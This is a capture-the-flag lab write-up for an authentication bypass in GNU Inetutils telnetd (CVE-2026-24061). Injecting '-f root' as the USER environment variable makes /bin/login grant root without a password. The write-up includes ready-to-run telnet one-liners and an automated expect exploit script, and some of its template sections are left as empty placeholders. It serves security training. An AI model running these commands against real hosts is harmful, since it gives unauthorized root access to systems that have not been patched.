GNU Inetutils Telnetd Authentication Bypass (CVE-2026-24061)
GNU Inetutils Telnetd Authentication Bypass (CVE-2026-24061)
Platform: Hackviser | Category: Infrastructure | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-08 | Status: Solved Techniques: argument_injection_via_user_environ, login_force_flag_bypass, telnet_environ_variable_manipulation
Summary
Task: GNU Inetutils telnetd (< 2.4) with CVE-2026-24061 argument injection via unsanitized USER environment variable. Solution: Inject '-f root' as USER via telnet ENVIRON option to force /bin/login to authenticate as root without a password.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackviser| ID:20260708_hackviser_gnu_inetutils_telnetd_auth_bypass_cve_2026_24061 - Tags: authentication_bypass, telnetd, gnu_inetutils, cve_2026_24061, argument_injection, bin_login, environment_variable_injection, telnet_environ
- Indicators: GNU Inetutils telnetd on port 23, telnetd version < 2.4, USER environment variable passed to /bin/login unsanitized, -f flag available in /bin/login for forced authentication
- Source:
20260708_hackviser_gnu_inetutils_telnetd_auth_bypass_cve_2026_24061.md
Foothold
Vulnerability / Misconfiguration
- argument_injection_via_user_environ
- login_force_flag_bypass
- telnet_environ_variable_manipulation
bash read-only • copy allowed<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
bash read-only • copy allowedsudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
bash read-only • copy allowed<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- argument_injection_via_user_environ
- login_force_flag_bypass
- telnet_environ_variable_manipulation
- Tags: authentication_bypass, telnetd, gnu_inetutils, cve_2026_24061, argument_injection, bin_login, environment_variable_injection, telnet_environ
Original Writeup
<details><summary>Click to expand original content</summary>Description
GNU Inetutils telnetd is a widely used daemon that provides remote command-line access. This laboratory contains the CVE-2026-24061 vulnerability, affecting GNU Inetutils versions prior to 2.4. This is a critical Argument Injection flaw. The daemon improperly passes the USER environment variable (supplied by the client) to the /bin/login binary without sanitization.
English summary: A telnetd service running GNU Inetutils < 2.4 is vulnerable to CVE-2026-24061. The daemon passes the client-supplied USER environment variable directly to /bin/login as a command-line argument without any sanitization. By injecting -f root as the USER value, an attacker can instruct /bin/login to force authentication as root, completely bypassing the password check. The goal is to exploit this to gain root access and retrieve the flag.
Analysis
Target Reconnaissance
The target at 172.20.16.130 had port 23 (telnet) open, running GNU Inetutils telnetd on Debian (kernel 5.10.0-33-amd64).
Vulnerability Details
CVE-2026-24061 is a critical argument injection vulnerability in GNU Inetutils telnetd versions prior to 2.4.
The vulnerability chain:
- The telnet protocol supports the ENVIRON option (RFC 1572), which allows the client to send environment variables to the server during the connection handshake.
- The telnetd daemon receives the
USERenvironment variable from the client. - telnetd constructs the login command by appending the USER variable value as arguments to
/bin/login— without any sanitization or validation. - If the USER variable contains
-f root, the resulting command becomes/bin/login -f root. - The
-fflag of/bin/loginis a "force" flag that bypasses password authentication for the specified user.
This means any remote attacker can gain root access without knowing any credentials.
Key Telnet Client Flags
-a(Auto Login): Enables automatic login by sending local environment variables (including USER) to the server during the initial handshake via the ENVIRON option.-l user(macOS/BSD): Sets the USER ENVIRON variable to the specified value. On GNU/Linux, the equivalent is settingUSER='...'as an environment variable before invoking telnet.-f root(injected into /bin/login): The-fflag tells/bin/loginto force authentication for the specified user without requiring a password.
Solution
Step 1: Exploit the Authentication Bypass
On macOS/BSD telnet client, the -l flag sets the USER ENVIRON variable:
bash read-only • copy allowedtelnet -a -l "-f root" 172.20.16.130
On GNU/Linux with GNU telnet client, the equivalent command:
bash read-only • copy allowedUSER='-f root' telnet -a 172.20.16.130
What happens under the hood:
- The telnet client connects to port 23 on the target.
- The
-aflag triggers automatic login, sending environment variables via the ENVIRON option. - The USER variable is set to
-f root. - telnetd receives
USER=-f rootand constructs:/bin/login -f root. /bin/logininterprets-f rootas "force login for user root" — no password prompt.- Result: immediate root shell (uid=0).
Step 2: Retrieve the Flag
After gaining root access:
bash read-only • copy allowedcat /secret.txt # Output: REDACTED
Automated Exploit Script
</details>bash read-only • copy allowed#!/usr/bin/env expect # CVE-2026-24061 — GNU Inetutils telnetd auth bypass # Usage: ./exploit.exp <target_ip> set target [lindex $argv 0] set timeout 10 spawn telnet -a -l "-f root" $target expect { "root@*#" { send "cat /secret.txt\r" expect -re {(.+)} send "exit\r" } "login:" { puts "ERROR: Exploit failed — target may be patched" exit 1 } timeout { puts "ERROR: Connection timed out" exit 1 } } expect eof
signed by XESXOR